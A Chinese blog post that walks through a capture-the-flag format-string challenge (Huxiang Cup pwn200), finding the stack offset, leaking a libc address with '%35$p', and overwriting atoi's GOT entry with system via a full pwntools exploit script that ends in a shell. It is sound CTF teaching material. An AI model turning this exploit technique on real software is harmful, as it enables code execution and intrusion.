×

格式化字符串

96
D4rk3r
2017.12.19 00:02 字数 573

格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子:

拿到题目先checksec,看开了什么保护

可以看到题目只开了Canary和栈不可执行,然后运行题目看看是什么效果

然后拖进ida里面分析

可以看到这里有个格式化字符串漏洞,那么我们下面就来利用它,首先用命令

objdump -d -j .plt pwne

可以看看我们可以利用的函数有什么,然后题目给了libc库,大致思路就是要从libc中找system函数,通过printf打印__libc_start_main函数这个地址,然后根据偏移计算libc的基地址,然后计算出system的实际地址,最后用fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})把atio的地址覆盖为system的地址,就可以getshell了

0x1算出所输入格式化字符串相对于栈上的偏移量

  • 暴力一点的话直接用AAAA.%p.%p.%p.%p.%p.%p.%p这样增加或者减少%.p来测试,当最后一个输出是你第一个输入的十六进制时就相当于偏移对了,所以此时的偏移为p的个数即为7
  • 或者我们可以用gdb调试来找到偏移量,首先在printf这里下个断点,然后看到栈上0028的位置就是我们的输入,28/4 = 7 (32位)就是我们print_got的偏移量
  • 想看栈上更多的就输入下面的命令,然后找到0140 / 7 = 35 (32位)是__libc_start_main的偏移量

    stack 50
    
  • 最快捷方便的就是写个脚本自动爆破偏移量,FmtStr是pwn自带的算出offset的函数

    def exec_fmt(payload):
      p.recvuntil('WANT PLAY[Y/N]\n')
      p.sendline('Y')
      p.recvuntil('GET YOUR NAME:\n')
      p.recvuntil('\n')
      p.sendline(payload)
      info = p.recv().splitlines()[1]
      print "info: "+info
      p.sendline('10')
      return info
    
    autofmt = FmtStr(exec_fmt)
    #print autofmt.offset
    

0x2 通过泄漏的__libc_start_main的地址可以获得正确的libc库文件从而确定libc库内地址

从而获取到了__libc_start_main_ret的偏移进而计算基址,获得system地址,

下面是exp

from pwn import *
debug = False
local = True
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    libc = ELF('x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./pwne')
else:
    p = remote('baidu.com',1000)


def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

def exec_fmt(payload):
  p.recvuntil('WANT PLAY[Y/N]\n')
  p.sendline('Y')
  p.recvuntil('GET YOUR NAME:\n')
  p.recvuntil('\n')
  p.sendline(payload)
  info = p.recv().splitlines()[1]
  print "info: "+info
  p.sendline('10')
  return info

autofmt = FmtStr(exec_fmt)
#print autofmt.offset
p.close()


p = process('./pwne')
elf = ELF('./pwne')
atoi_got = elf.got['atoi']
print "atoi_got: ",hex(atoi_got)
system_offset = libc.symbols['system']
print "system_offset: ",hex(system_offset)
libc_start_offset = libc.symbols['__libc_start_main']
print "libc_start_offset: ",hex(libc_start_offset)

payload1 = "%35$p"
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload1)
libc_start_addr = p.recv().splitlines()[1]
print "libc_start_addr: ",libc_start_addr
libc_module = base_addr(libc_start_addr,0x18637)
system_addr = libc_module + system_offset
print "system_addr: ",hex(system_addr)
p.sendline("11")

payload2 = fmtstr_payload(autofmt.offset,{atoi_got:system_addr})
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload2)
p.recv()
p.sendline('/bin/sh')

p.interactive()
Pwn从入门到放弃
Web note ad 1